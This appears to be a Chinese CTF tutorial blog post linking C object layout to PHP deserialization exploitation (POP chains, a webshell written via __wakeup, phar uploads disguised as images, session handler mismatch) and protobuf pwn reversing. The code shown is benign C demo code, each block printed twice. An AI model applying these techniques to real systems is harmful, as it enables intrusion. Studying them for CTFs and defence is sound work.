反序列化是web
中中高级的技巧,不论是pop
链还是java
反序列化,都不开可能是出现在容易题目中。本人在一开始学习反序列化的时候也是一脸懵逼,学过了总是会忘掉,感觉找不到关键,需要靠不断刷题来巩固。随着技能点逐渐点到二进制方向,web
学的也少了,突然有一天,我再来看反序列化时发现如此简单的水到渠成,并悟出:反序列化就是二进制的方向。下面我将分享一下本人的理解。
面向对象编程,也就是大家说的 OOP
(Object Oriented Programming
)并不是一种特定的语言或者工具,它只是一种设计方法、设计思想,它表现出来的三个最基本的特性就是封装、继承与多态。
虽然我们的教材有这么一个结论,也是我们常说的,C 语言是面向过程的语言,C++ 是面向对象的编程语言,但面向对象的概念是在 C 语言阶段就有了,而且应用到了很多地方,比如某些操作系统内核、通信协议等。下面我用简单的例子说明如何用C实现OOP
,更为详细的说明,请各位师傅网上搜索。
面向对象里,封装就是把数据和函数打包到一个类里面,由于C没有类的概念,我们使用结构体实现。我定义一个Shape
的结构体,并定义出一些操作操作方法,具体执行如下。以下是 Shape 类的声明。
下面是具体操作,将其写在 Shape.c
里面。
主函数操作如下
执行 gcc main.c shape.c -o shape
编译之后,执行结果如下。
整个例子,非常简单,非常好理解。
前面的例子中,我将对象的操作写在 Shape.c
中,编程案例中也可以以指针的形式写在Shape
的结构体中,函数实现的时候再进行强制转化,如下。
这种定义模式存在以下问题
当然,问题还有很多,我这里主要是想说明,目前面向对象的编程语言底层都不使用这种定义方式。以C++为例,GNU有一套完善的函数重命名的方法,我们通常看到的_ZN6Number3addERKS_、_Z4funcid
等等都是重命名之后的名称,也就是二进制文件中真正的符号表项。如果不需要重命名,则需要添加extern "c"
告诉编译器不要重命名。
在编写程序过程中,各种特性分为CPU级别、汇编级别、操作系统级别、编译器级别等等,其中protected
与private
就是典型的编译器级别限制,也就是说类外部不能访问是编译器给你的限制,在二进制层面是没有任何限制的。
我也可以利用C语言的某些特性简单表现一下。例如,staticTest.c
中有一个静态函数,如何在不使用#include "staticTest.c"
的情况下,调用staticFunc
?
这时候我们只需要添加一个返回staticTest
的函数即可。
那么main.c
中可以调用如下。
gcc main.c staticTest.c
就可以编译成功。
C 语言里调用结构体是调用结构体的那一块内存,而不是使用指针,所以实现单继承非常简单,只要把基类放到继承类的第一个数据成员的位置就行了。例如,现在创建一个 Rectangle
类,需要继承 Shape
类已经存在的属性和操作,再添加不同于 Shape
的属性和操作到 Rectangle
中。下面是 Rectangle
的声明与定义:
因为有这样的内存布局,所以可以很安全的传一个指向 Rectangle
对象的指针,到一个期望传入 Shape
对象的指针的函数中,就是一个函数的参数是 Shape *
,也可以传入 Rectangle *
,并且这是非常安全的。这样的话,基类的所有属性和方法都可以被继承类继承。
输出结果:
C++ 实现多态使用的是虚函数,就是指针,所以在 C 语言里面也可以同样实现多态。
现在增加一个圆形,并且在 Shape
要扩展功能,我们要增加area()
和 draw()
函数。但是 Shape
相当于抽象类,不知道怎么去计算自己的面积,更不知道怎么去画出来自己。而且,矩形和圆形的面积计算方式和几何图像也是不一样的。重新声明 Shape
类如下。
在 Shape
的构造函数里面,初始化 vptr
与C++
类似vptr
可以被子类虚表重新赋值, Rectangle
的构造函数如下。
main.c
如下
输出结果。
与C语言多态是通过函数指针实现相同,在C++中的virtual
在对象内部也使用了函数指针,所以会导致对象的大小增加。但是,作为高级语言的耻辱,很多语言中并没有指针的概念,更多高级语言(java、php、go
)并不需要定义接口,编译器允许直接对父类的方法进行重载。个别没有继承(rust
)的编程语言,对象中也不提供相关指针。
有了上面的铺垫,再看操作对象的流程就比较好理解了。操作对象一般分为创建、销毁、其他三类,其中,其他主要指的是各种各样的魔术方法Magic Methods
。
从上面可以看出一个对象的生命周期的过程如下
通过上面的说明可以看出,在不使用多态的情况下,对象中存储的只有属性,对象的操作方法存储在代码段,并通过函数名重载后生成新的符号表。如果使用虚函数则会增加对象的大小。
因为涉及到在内存中的存储,所以使用了C++表示,但对于大多是高级语言来说,对象的大小就是属性所占用的空间。因为本次主要是讲序列化与反序列化,所以涉及到对齐的部分不再进行讲解,只要记住对象中存储的只有属性就可以了。
讲了这么多基础终于到序列化了,以下是我从百度百科上拷贝下来的。
我认为以上定义在序列化的早期也许正确,但以目前的眼光看这个定义存在一定问题。比如说,C语言内的数据本来就是二进制数据,是不需要序列化的,但后来也出了很多针对C语言的序列化协议。即使对于解释性语言php
,也有print_r
能将结构体打印出来,直接把打印出来的数据存储也是可以的。我认为这是网络传输的需求,在网络传输中,空间复杂度对传输的成功率有重要作用,数据占用空间越少越受到网络的青睐。常见的序列化都能够起到将原有数据占用空间缩小的作用。
所以我认为:序列化就是将数据按一种固定格式表示;反序列化就是把固定形式存储的数据变成编程语言能识别的数据。常见序列化如下
我们以比赛中比较初级的php
反序列化进行举例,它的序列化函数为serialize
,反序列化函数为unserialize
。
通过上面的说明可以看出,序列化就是简单的格式变形。
序列化字符串格式简单说明
因为在序列化过程中,大部分都需要使用urlencode
函数进行转意,所以序列化字符串的具体意义我就不再详细说明了。
上面的序列化和反序列化是人畜无害的,主要是因为对象中没有执行函数,如果同时满足以下3点就可能形成漏洞。
现在我们再看一下对象的生命周期
显然反序列之后可能执行的步骤如下
其中,释放内存
是库函数/解释器
的工作,所以我们重点关注的只有反序列化后执行各类函数 和 执行析构函数
两种。对于php
而言,两个魔术函数如下。
所以,PHP反序列化漏洞的利用一定是从 __destruct 或者 __wakeup
开始,到危险函数截止, 这个过程一般被称为POP(Property-Oriented Programing)
链。
说明:从POP
的名字也可以看出,对象在内存中存储的只有属性。
为了下面更方面处理POP
链,需要把魔术函数提前说明一下。php
中的魔术函数如下。
unserialize()
后会直接调用__wakeup()
,或者等对象消亡时调用__destruct()
,因此最理想的情况就是危害代码在__wakeup() 或__destruct()
中,从而当我们控制序列化字符串时可以去直接触发它们。这里针对 __wakeup()
场景举例。
这个非常简单,只需要创建一个对象,将其$test
改成一句话木马,在执行unserialize
时,就可以执行__wakeup
函数,将一句话木马写入并加载。payload
如下,由于是第一次书写,所以将注释写的很详细,后面将不再赘述。
**说明:**我也忘了这个哪道题了,我稍微修改的一下,知道的师傅请留言。
对于这种POP
链问题的解决,一般有两个方向。
当然,这就像思考数学证明一样,可以正向、反向相结合,最终找到链路。本人习惯是反向寻找。
根据上面的分析 payload
生成基本流程如下
需要注意的有以下2点:
payload
生成页面如下。
对于所有解释性语言,都会有自己的内置类,有些题目会考察这些特性,题图如下。
上面的题目中没有对象,即使执行unserialize
函数也没有任何作用,这种情况下就需要用到内置类,php内置类很多,每个版本不尽相同,可以用get_declared_classes
打印出所有内置类。
一般情况下,使用stdClass
就可以了。stdClass
是 PHP 中的空类,可以将其他类型转换为对象。需要注意的是,stdClass
不是对象的基类。剩下的就只需要运用引用绕过键名称判断即可。payload
生成页面如下。
之前说的题目中都有明显的unserialize
函数执行反序列化过程,基本上题目的方向非常明确,但有些情况即使没有unserialize
函数,也会执行反序列化的过程。
phar
存储的meta-data
信息以序列化方式存储,当某些操作函数通过phar://
伪协议解析phar
文件时,就会隐性将文件中的数据数据反序列化,一旦参数可控,就可能构造POP触发漏洞。注意:php.ini
中 phar.readonly
需要设置为 off
。
下面列出了一部分可以触发phar
反序列化的函数。
执行漏洞的具体操作如下
很多源码里面的代码只允许上传jpg、png
等图片文件,可把 test.phar
重命名为 test.jpg
,再通过伪协议进行访问
session
形成漏洞的原因就是因为配置不正确或者是序列化和反序列化的方式。如果一个是使用php_serialize
,而另一个使用php
读取session
。因为他们的格式不一样,自己就可以伪造格式,从而可以控制数据。在php5.5.4
之前session.serialize_handler
的默认是php
。而在php5.5.4
之后的版本中php
的处理器就是php_serialize
。乱换其他的处理器可能会有问题。如果题目中出现ini_set('session.serialize_handler', 'php');
,则必定为session反序列化题目。
seesion
序列化处理模式(session.serialize_handler
配置)
以下为phpinfo
中需要关心的配置
以Jarvis OJ
中的题目为例
显然这个OowoO
存在危险函数,但没有unserialize
函数,我们要构造session
反序列化。首先新建html
页面用于上传文件。
然后新建php
页面生成序列化数据。
为防止转义,在引号前加上\。利用前面的html页面随便上传一个东西,抓包把(filename
)改为如下,注意,前面有一个|
,这是session
的格式。
根据现实可以查看到有Here_1s_7he_fl4g_buT_You_Cannot_see.php
页面,再次修改payload之后既可以读出flag
大家都知道,既然是程序对字符串解析,就必然有伪造的可能,反序列化也不能例外。处理反序列化逃逸的问题需要对序列化字符串的结构有一定了解。以安恒一道月赛为例。
可以看出上面题目中有read write
两个函数,分别是两种字符串替换模式,原题中只有难度1(减少),我增加了一个难度2(增加)。减少的过程较好控制,可以用 双引号"
去填充。 增加的过程较难控制,需要增加额外属性。处理过程如下。
还有其他一些不完整类使再次序列化
、CVE-2016-7124
、Fast Destruct
等等手段,有兴趣的师傅可以自行搜索。
虽然java
、Trift
、protobuf
都是序列化成二进制形式,但是不论是比赛还是使用环境protobuf
都有绝对优势(没有哪个师傅会把java
的序列化放在二进制题目中考察)
使用protobuf
的关键是编译器protoc
,下载地址为:https://github.com/protocolbuffers/protobuf/releases
说明如下
protobuf
有2个版本,默认版本是 proto2
,如果需要 proto3
,则需要在非空非注释第一行使用 syntax = "proto3"
标明版本。
package
,即包名声明符是可选的,用来防止不同的消息类型有命名冲突。
消息类型 使用 message
关键字定义,message
关键字类似于C语言的 struct
。
Person
是类型名,name, id, email ,PhoneType,phones
是该类型的 5 个字段,类型分别为 string, int32,string,enum,PhoneNumber
。字段可以是标量类型,也可以是合成类型。
每个字段的修饰符默认是 singular
,一般省略不写,repeated
表示字段可重复,类似于数组。各修饰符如下。
每个字符 =
后面的数字称为标识符,每个字段都需要提供一个唯一的标识符。标识符用来在消息的二进制格式中识别各个字段,一旦使用就不能够再改变,标识符的取值范围为 [1, 2^29 - 1]
。
.proto
文件可以写注释,单行注释 //
,多行注释 /* ... */
一个 .proto
文件中可以写多个消息类型,即对应多个结构体struct
。
最后使用 protoc --cpp_out=./ ./test.proto
编译出适合的头文件或源文件。输出类型说明如下
编译结束后会生成test.pb.h 和 test.pb.cc
两个文件,后面的和C++编程一样。
Protobuf
定义了一套基本数据类型。几乎都可以映射到C++\Java
等语言的基础数据类型,下面以C++为例
在没有去除符号表的情况下,通过反编译可以发现,关键还是protobuf
结构体逆向。
protobuf
比较讨厌的地方是不同编程语言API不太一样,我以最常用的C++
和python
为例进行说明。特别注意的二者差距是对于repeated
字段。
每个 message
类还包含许多其他方法,可用于检查或操作整个 message
,包括:
每个 protocol buffer
类都有使用 protocol buffer
二进制格式 读写所选类型 message
的方法。包括:
对于每一个元素还有以下方法
Protobuf
也就是序列化与反序列化的一种,不再带大家详细看序列化源码了,比赛中大多会使用简单工具正常发送生成发送包就行。结构体识别与提取是现在题目的关键。
1.ida
中字符串搜索proto
,在protodesc_cold
节中定位有关信息
2.如果有交叉引用,可以通过交叉引用确定长度
3.如果没有交叉引用就多复制一些,扔到010中,**观察有00
对齐的之前就是协议内容,**一般对齐之前都是proto
的版本,将后面的删除。
大部分时候到protodesc_cold ends
也可以
4.执行命令protoc --decode_raw < export_results.txt
进行解析。(protoc --decode_raw < export_results.txt > out1.txt
)
可以利用pbtk
库进行提取。
在使用ida
远程调试protobuf
题目中,需要大量输入不可打印字符,如果先输入再用脚本修正则非常不方便,所以特别需要ida + python
远程调试的方式。具体步骤如下。
启动程序,socat tcp-listen:10002,reuseaddr,fork EXEC:./pb,pty,raw,echo=0
shell
中启动python
进行远程连接。
ida 附加进程,选择正确的进程后就可以调试。
在shell
中发送数据。
将上面的步骤进行优化,写好paylaod
如下,使用exec(open("./send_message.py").read())
执行py文件即可快速调试。
这个题应该学习protobuf
的最佳题目,没有任何坑,题目逻辑非常简单,没去去除符号表,逆向出来既有答案,有任意地址读写的漏洞。
proto
文件如下。
攻击脚本如下
cyberrt
应该是一套运行时框架,说实话,我也不清楚它原始代码是干啥的,所以当时虽然做出来了,但感觉只做了一半。出题人应该是想说参数使用错误,直接用len_
就对了。需要注意的是栈中还有很多有用的其他数据,在覆写的时候主要不要破坏这些值就行了。
proto
文件如下
攻击脚本如下
个别情况下会报缺少libprotobuf.so.32
的错误,使用everything
搜索替换即可。
题目太大,链接为https://pan.baidu.com/s/1MELSvAPX8z0W-dxKQaUKFw?pwd=nemi 提取码: nemi
参考文献
1.C语言实现面向对象三大特性 : 封装、继承、多态
2.GNU重命名规则
3.带你走进PHP session反序列化漏洞
4.protobuf
库
字长不统一,浮点运算IEEE, 盘踞内存有章法,对齐,数不尽的结构体
内存藏万军,段页管理三权分,探囊取物斩敌将,指针,愁煞多少码农魂
字长不统一,浮点运算IEEE, 盘踞内存有章法,对齐,数不尽的结构体
内存藏万军,段页管理三权分,探囊取物斩敌将,指针,愁煞多少码农魂
#ifndef SHAPE_H
#define SHAPE_H
#include <stdint.h>
typedef
struct
{
int16_t x;
int16_t y;
} Shape;
void
Shape_ctor(Shape *
const
me, int16_t x, int16_t y);
void
Shape_moveBy(Shape *
const
me, int16_t dx, int16_t dy);
int16_t Shape_getX(Shape
const
*
const
me);
int16_t Shape_getY(Shape
const
*
const
me);
#endif /* SHAPE_H */
#ifndef SHAPE_H
#define SHAPE_H
#include <stdint.h>
typedef
struct
{
int16_t x;
int16_t y;
} Shape;
void
Shape_ctor(Shape *
const
me, int16_t x, int16_t y);
void
Shape_moveBy(Shape *
const
me, int16_t dx, int16_t dy);
int16_t Shape_getX(Shape
const
*
const
me);
int16_t Shape_getY(Shape
const
*
const
me);
#endif /* SHAPE_H */
#include "shape.h"
void
Shape_ctor(Shape *
const
me, int16_t x, int16_t y)
{
me->x = x;
me->y = y;
}
void
Shape_moveBy(Shape *
const
me, int16_t dx, int16_t dy)
{
me->x += dx;
me->y += dy;
}
int16_t Shape_getX(Shape
const
*
const
me)
{
return
me->x;
}
int16_t Shape_getY(Shape
const
*
const
me)
{
return
me->y;
}
#include "shape.h"
void
Shape_ctor(Shape *
const
me, int16_t x, int16_t y)
{
me->x = x;
me->y = y;
}
void
Shape_moveBy(Shape *
const
me, int16_t dx, int16_t dy)
{
me->x += dx;
me->y += dy;
}
int16_t Shape_getX(Shape
const
*
const
me)
{
return
me->x;
}
int16_t Shape_getY(Shape
const
*
const
me)
{
return
me->y;
}
#include "shape.h" /* Shape class interface */
#include <stdio.h> /* for printf() */
int
main()
{
Shape s1, s2;
Shape_ctor(&s1, 0, 1);
Shape_ctor(&s2, -1, 2);
printf
(
"Shape s1(x=%d,y=%d)\n"
, Shape_getX(&s1), Shape_getY(&s1));
printf
(
"Shape s2(x=%d,y=%d)\n"
, Shape_getX(&s2), Shape_getY(&s2));
Shape_moveBy(&s1, 2, -4);
Shape_moveBy(&s2, 1, -2);
printf
(
"Shape s1(x=%d,y=%d)\n"
, Shape_getX(&s1), Shape_getY(&s1));
printf
(
"Shape s2(x=%d,y=%d)\n"
, Shape_getX(&s2), Shape_getY(&s2));
return
0;
}
#include "shape.h" /* Shape class interface */
#include <stdio.h> /* for printf() */
int
main()
{
Shape s1, s2;
Shape_ctor(&s1, 0, 1);
Shape_ctor(&s2, -1, 2);
printf
(
"Shape s1(x=%d,y=%d)\n"
, Shape_getX(&s1), Shape_getY(&s1));
printf
(
"Shape s2(x=%d,y=%d)\n"
, Shape_getX(&s2), Shape_getY(&s2));
Shape_moveBy(&s1, 2, -4);
Shape_moveBy(&s2, 1, -2);
printf
(
"Shape s1(x=%d,y=%d)\n"
, Shape_getX(&s1), Shape_getY(&s1));
printf
(
"Shape s2(x=%d,y=%d)\n"
, Shape_getX(&s2), Shape_getY(&s2));
return
0;
}
Shape s1(x=0,y=1)
Shape s2(x=-1,y=2)
Shape s1(x=2,y=-3)
Shape s2(x=0,y=0)
Shape s1(x=0,y=1)
Shape s2(x=-1,y=2)
Shape s1(x=2,y=-3)
Shape s2(x=0,y=0)
struct
Shape{
int
x;
int
y;
void
(*Shape_ctor)(
void
* ,
int
,
int
);
void
(*Shape_moveBy)(
void
* ,
int
,
int
);
int
(*Shape_getX)(
void
* );
int
(*Shape_getY)(
void
*);
}Shape;
struct
Shape{
int
x;
int
y;
void
(*Shape_ctor)(
void
* ,
int
,
int
);
void
(*Shape_moveBy)(
void
* ,
int
,
int
);
int
(*Shape_getX)(
void
* );
int
(*Shape_getY)(
void
*);
}Shape;
#include <stdio.h>
static
void
staticFunc(){
printf
(
"this is help"
);
}
#include <stdio.h>
static
void
staticFunc(){
printf
(
"this is help"
);
}
#include <stdio.h>
static
void
staticFunc(){
printf
(
"this is help"
);
}
void
returnStaticFunc(){
return
staticFunc();
}
#include <stdio.h>
static
void
staticFunc(){
printf
(
"this is help"
);
}
void
returnStaticFunc(){
return
staticFunc();
}
extern
void
returnStaticFunc();
int
main (){
returnStaticFunc();
return
0;
}
extern
void
returnStaticFunc();
int
main (){
returnStaticFunc();
return
0;
}
#ifndef RECT_H
#define RECT_H
#include "shape.h" // 基类接口
typedef
struct
{
Shape super;
uint16_t width;
uint16_t height;
} Rectangle;
void
Rectangle_ctor(Rectangle *
const
me, int16_t x, int16_t y,
uint16_t width, uint16_t height);
#endif /* RECT_H */
#ifndef RECT_H
#define RECT_H
#include "shape.h" // 基类接口
typedef
struct
{
Shape super;
uint16_t width;
uint16_t height;
} Rectangle;
void
Rectangle_ctor(Rectangle *
const
me, int16_t x, int16_t y,
uint16_t width, uint16_t height);
#endif /* RECT_H */
#include "rect.h"
void
Rectangle_ctor(Rectangle *
const
me, int16_t x, int16_t y,
uint16_t width, uint16_t height)
{
Shape_ctor(&me->super, x, y);
me->width = width;
me->height = height;
}
#include "rect.h"
void
Rectangle_ctor(Rectangle *
const
me, int16_t x, int16_t y,
uint16_t width, uint16_t height)
{
Shape_ctor(&me->super, x, y);
me->width = width;
me->height = height;
}
#include "rect.h"
#include <stdio.h>
int
main()
{
Rectangle r1, r2;
Rectangle_ctor(&r1, 0, 2, 10, 15);
Rectangle_ctor(&r2, -1, 3, 5, 8);
printf
(
"Rect r1(x=%d,y=%d,width=%d,height=%d)\n"
,
Shape_getX(&r1.super), Shape_getY(&r1.super),
r1.width, r1.height);
printf
(
"Rect r2(x=%d,y=%d,width=%d,height=%d)\n"
,
Shape_getX(&r2.super), Shape_getY(&r2.super),
r2.width, r2.height);
Shape_moveBy((Shape *)&r1, -2, 3);
Shape_moveBy(&r2.super, 2, -1);
printf
(
"Rect r1(x=%d,y=%d,width=%d,height=%d)\n"
,
Shape_getX(&r1.super), Shape_getY(&r1.super),
r1.width, r1.height);
printf
(
"Rect r2(x=%d,y=%d,width=%d,height=%d)\n"
,
Shape_getX(&r2.super), Shape_getY(&r2.super),
r2.width, r2.height);
return
0;
}
#include "rect.h"
#include <stdio.h>
int
main()
{
Rectangle r1, r2;
Rectangle_ctor(&r1, 0, 2, 10, 15);
Rectangle_ctor(&r2, -1, 3, 5, 8);
printf
(
"Rect r1(x=%d,y=%d,width=%d,height=%d)\n"
,
Shape_getX(&r1.super), Shape_getY(&r1.super),
r1.width, r1.height);
printf
(
"Rect r2(x=%d,y=%d,width=%d,height=%d)\n"
,
Shape_getX(&r2.super), Shape_getY(&r2.super),
r2.width, r2.height);
Shape_moveBy((Shape *)&r1, -2, 3);
Shape_moveBy(&r2.super, 2, -1);
printf
(
"Rect r1(x=%d,y=%d,width=%d,height=%d)\n"
,
Shape_getX(&r1.super), Shape_getY(&r1.super),
r1.width, r1.height);
printf
(
"Rect r2(x=%d,y=%d,width=%d,height=%d)\n"
,
Shape_getX(&r2.super), Shape_getY(&r2.super),
r2.width, r2.height);
return
0;
}
Rect r1(x=0,y=2,width=10,height=15)
Rect r2(x=-1,y=3,width=5,height=8)
Rect r1(x=-2,y=5,width=10,height=15)
Rect r2(x=1,y=2,width=5,height=8)
Rect r1(x=0,y=2,width=10,height=15)
Rect r2(x=-1,y=3,width=5,height=8)
Rect r1(x=-2,y=5,width=10,height=15)
Rect r2(x=1,y=2,width=5,height=8)
#ifndef SHAPE_H
#define SHAPE_H
#include <stdint.h>
struct
ShapeVtbl;
typedef
struct
{
struct
ShapeVtbl
const
*vptr;
int16_t x;
int16_t y;
} Shape;
struct
ShapeVtbl {
uint32_t (*area)(Shape
const
*
const
me);
void
(*draw)(Shape
const
*
const
me);
};
void
Shape_ctor(Shape *
const
me, int16_t x, int16_t y);
void
Shape_moveBy(Shape *
const
me, int16_t dx, int16_t dy);
int16_t Shape_getX(Shape
const
*
const
me);
int16_t Shape_getY(Shape
const
*
const
me);
static
inline
uint32_t Shape_area(Shape
const
*
const
me)
{
return
(*me->vptr->area)(me);
}
static
inline
void
Shape_draw(Shape
const
*
const
me)
{
(*me->vptr->draw)(me);
}
Shape
const
*largestShape(Shape
const
*shapes[], uint32_t nShapes);
void
drawAllShapes(Shape
const
*shapes[], uint32_t nShapes);
#endif /* SHAPE_H */
#ifndef SHAPE_H
#define SHAPE_H
#include <stdint.h>
struct
ShapeVtbl;
typedef
struct
{
struct
ShapeVtbl
const
*vptr;
int16_t x;
int16_t y;
} Shape;
struct
ShapeVtbl {
uint32_t (*area)(Shape
const
*
const
me);
void
(*draw)(Shape
const
*
const
me);
};
void
Shape_ctor(Shape *
const
me, int16_t x, int16_t y);
void
Shape_moveBy(Shape *
const
me, int16_t dx, int16_t dy);
int16_t Shape_getX(Shape
const
*
const
me);
int16_t Shape_getY(Shape
const
*
const
me);
static
inline
uint32_t Shape_area(Shape
const
*
const
me)
{
return
(*me->vptr->area)(me);
}
static
inline
void
Shape_draw(Shape
const
*
const
me)
{
(*me->vptr->draw)(me);
}
Shape
const
*largestShape(Shape
const
*shapes[], uint32_t nShapes);
void
drawAllShapes(Shape
const
*shapes[], uint32_t nShapes);
#endif /* SHAPE_H */
#include "shape.h"
#include <assert.h>
static
uint32_t Shape_area_(Shape
const
*
const
me);
static
void
Shape_draw_(Shape
const
*
const
me);
void
Shape_ctor(Shape *
const
me, int16_t x, int16_t y)
{
static
struct
ShapeVtbl
const
vtbl =
{
&Shape_area_,
&Shape_draw_
};
me->vptr = &vtbl;
me->x = x;
me->y = y;
}
void
Shape_moveBy(Shape *
const
me, int16_t dx, int16_t dy)
{
me->x += dx;
me->y += dy;
}
int16_t Shape_getX(Shape
const
*
const
me)
{
return
me->x;
}
int16_t Shape_getY(Shape
const
*
const
me)
{
return
me->y;
}
static
uint32_t Shape_area_(Shape
const
*
const
me)
{
assert
(0);
return
0U;
}
static
void
Shape_draw_(Shape
const
*
const
me)
{
assert
(0);
}
Shape
const
*largestShape(Shape
const
*shapes[], uint32_t nShapes)
{
Shape
const
*s = (Shape *)0;
uint32_t max = 0U;
uint32_t i;
for
(i = 0U; i < nShapes; ++i)
{
uint32_t area = Shape_area(shapes[i]);
if
(area > max)
{
max = area;
s = shapes[i];
}
}
return
s;
}
void
drawAllShapes(Shape
const
*shapes[], uint32_t nShapes)
{
uint32_t i;
for
(i = 0U; i < nShapes; ++i)
{
Shape_draw(shapes[i]);
}
}
#include "shape.h"
#include <assert.h>
static
uint32_t Shape_area_(Shape
const
*
const
me);
static
void
Shape_draw_(Shape
const
*
const
me);
void
Shape_ctor(Shape *
const
me, int16_t x, int16_t y)
{
static
struct
ShapeVtbl
const
vtbl =
{
&Shape_area_,
&Shape_draw_
};
me->vptr = &vtbl;
me->x = x;
me->y = y;
}
void
Shape_moveBy(Shape *
const
me, int16_t dx, int16_t dy)
{
me->x += dx;
me->y += dy;
}
int16_t Shape_getX(Shape
const
*
const
me)
{
return
me->x;
}
int16_t Shape_getY(Shape
const
*
const
me)
{
return
me->y;
}
static
uint32_t Shape_area_(Shape
const
*
const
me)
{
assert
(0);
return
0U;
}
static
void
Shape_draw_(Shape
const
*
const
me)
{
assert
(0);
}
Shape
const
*largestShape(Shape
const
*shapes[], uint32_t nShapes)
{
Shape
const
*s = (Shape *)0;
uint32_t max = 0U;
uint32_t i;
for
(i = 0U; i < nShapes; ++i)
{
uint32_t area = Shape_area(shapes[i]);
if
(area > max)
{
max = area;
s = shapes[i];
}
}
return
s;
}
void
drawAllShapes(Shape
const
*shapes[], uint32_t nShapes)
{
uint32_t i;
for
(i = 0U; i < nShapes; ++i)
{
Shape_draw(shapes[i]);
}
}
#include "rect.h"
#include <stdio.h>
static
uint32_t Rectangle_area_(Shape
const
*
const
me);
static
void
Rectangle_draw_(Shape
const
*
const
me);
void
Rectangle_ctor(Rectangle *
const
me, int16_t x, int16_t y,
uint16_t width, uint16_t height)
{
static
struct
ShapeVtbl
const
vtbl =
{
&Rectangle_area_,
&Rectangle_draw_
};
Shape_ctor(&me->super, x, y);
me->super.vptr = &vtbl;
me->width = width;
me->height = height;
}
static
uint32_t Rectangle_area_(Shape
const
*
const
me)
{
Rectangle
const
*
const
me_ = (Rectangle
const
*)me;
return
(uint32_t)me_->width * (uint32_t)me_->height;
}
static
void
Rectangle_draw_(Shape
const
*
const
me)
{
Rectangle
const
*
const
me_ = (Rectangle
const
*)me;
printf
(
"Rectangle_draw_(x=%d,y=%d,width=%d,height=%d)\n"
,
Shape_getX(me), Shape_getY(me), me_->width, me_->height);
}
#include "rect.h"
#include <stdio.h>
static
uint32_t Rectangle_area_(Shape
const
*
const
me);
static
void
Rectangle_draw_(Shape
const
*
const
me);
void
Rectangle_ctor(Rectangle *
const
me, int16_t x, int16_t y,
uint16_t width, uint16_t height)
{
static
struct
ShapeVtbl
const
vtbl =
{
&Rectangle_area_,
&Rectangle_draw_
};
Shape_ctor(&me->super, x, y);
me->super.vptr = &vtbl;
me->width = width;
me->height = height;
}
static
uint32_t Rectangle_area_(Shape
const
*
const
me)
{
Rectangle
const
*
const
me_ = (Rectangle
const
*)me;
return
(uint32_t)me_->width * (uint32_t)me_->height;
}
static
void
Rectangle_draw_(Shape
const
*
const
me)
{
Rectangle
const
*
const
me_ = (Rectangle
const
*)me;
printf
(
"Rectangle_draw_(x=%d,y=%d,width=%d,height=%d)\n"
,
Shape_getX(me), Shape_getY(me), me_->width, me_->height);
}
#include "rect.h"
#include "circle.h"
#include <stdio.h>
int
main()
{
Rectangle r1, r2;
Circle c1, c2;
Shape
const
*shapes[] =
{
&c1.super,
&r2.super,
&c2.super,
&r1.super
};
Shape
const
*s;
Rectangle_ctor(&r1, 0, 2, 10, 15);
Rectangle_ctor(&r2, -1, 3, 5, 8);
Circle_ctor(&c1, 1, -2, 12);
Circle_ctor(&c2, 1, -3, 6);
s = largestShape(shapes,
sizeof
(shapes)/
sizeof
(shapes[0]));
printf
(
"largetsShape s(x=%d,y=%d)\n"
, Shape_getX(s), Shape_getY(s));
drawAllShapes(shapes,
sizeof
(shapes)/
sizeof
(shapes[0]));
return
0;
}
#include "rect.h"
#include "circle.h"
#include <stdio.h>
int
main()
{
Rectangle r1, r2;
Circle c1, c2;
Shape
const
*shapes[] =
{
&c1.super,
&r2.super,
&c2.super,
&r1.super
};
Shape
const
*s;
Rectangle_ctor(&r1, 0, 2, 10, 15);
Rectangle_ctor(&r2, -1, 3, 5, 8);
Circle_ctor(&c1, 1, -2, 12);
Circle_ctor(&c2, 1, -3, 6);
s = largestShape(shapes,
sizeof
(shapes)/
sizeof
(shapes[0]));
printf
(
"largetsShape s(x=%d,y=%d)\n"
, Shape_getX(s), Shape_getY(s));
drawAllShapes(shapes,
sizeof
(shapes)/
sizeof
(shapes[0]));
return
0;
}
largetsShape s(x
=
1
,y
=
-
2
)
Circle_draw_(x
=
1
,y
=
-
2
,rad
=
12
)
Rectangle_draw_(x
=
-
1
,y
=
3
,width
=
5
,height
=
8
)
Circle_draw_(x
=
1
,y
=
-
3
,rad
=
6
)
Rectangle_draw_(x
=
0
,y
=
2
,width
=
10
,height
=
15
)
largetsShape s(x
=
1
,y
=
-
2
)
Circle_draw_(x
=
1
,y
=
-
2
,rad
=
12
)
Rectangle_draw_(x
=
-
1
,y
=
3
,width
=
5
,height
=
8
)
Circle_draw_(x
=
1
,y
=
-
3
,rad
=
6
)
Rectangle_draw_(x
=
0
,y
=
2
,width
=
10
,height
=
15
)
申请一块内存
=
> 执行构造函数
执行析构函数
=
> 释放内存
对对象执行相应的魔术函数
申请一块内存
=
> 执行构造函数
=
> 根据业务流程执行各类函数
=
> 执行析构函数
=
> 释放内存
申请一块内存
=
> 执行构造函数
=
> 根据业务流程执行各类函数
=
> 执行析构函数
=
> 释放内存
#include <iostream>
using
namespace
std;
class
shape
{
public
:
int
x;
int
y;
shape(
int
x,
int
y)
{
x=x;
y=y;
}
void
getX()
{
cout << x << endl;
}
void
getY()
{
cout << y << endl;
}
};
int
main()
{
shape sh(5,6);
printf
(
"size is : %x"
,
sizeof
(sh));
return
0;
}
#include <iostream>
using
namespace
std;
class
shape
{
public
:
int
x;
int
y;
shape(
int
x,
int
y)
{
x=x;
y=y;
}
void
getX()
{
cout << x << endl;
}
void
getY()
{
cout << y << endl;
}
};
int
main()
{
shape sh(5,6);
printf
(
"size is : %x"
,
sizeof
(sh));
return
0;
}
#include <iostream>
using
namespace
std;
class
shape
{
public
:
int
x;
int
y;
shape(
int
x,
int
y)
{
x=x;
y=y;
}
void
getX()
{
cout << x << endl;
}
void
getY()
{
cout << y << endl;
}
virtual
void
area(){
}
};
int
main()
{
shape sh(5,6);
printf
(
"MobilePhone size is :%x"
,
sizeof
(sh));
return
0;
}
#include <iostream>
using
namespace
std;
class
shape
{
public
:
int
x;
int
y;
shape(
int
x,
int
y)
{
x=x;
y=y;
}
void
getX()
{
cout << x << endl;
}
void
getY()
{
cout << y << endl;
}
virtual
void
area(){
}
};
int
main()
{
shape sh(5,6);
printf
(
"MobilePhone size is :%x"
,
sizeof
(sh));
return
0;
}
序列化 (`Serialization`)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
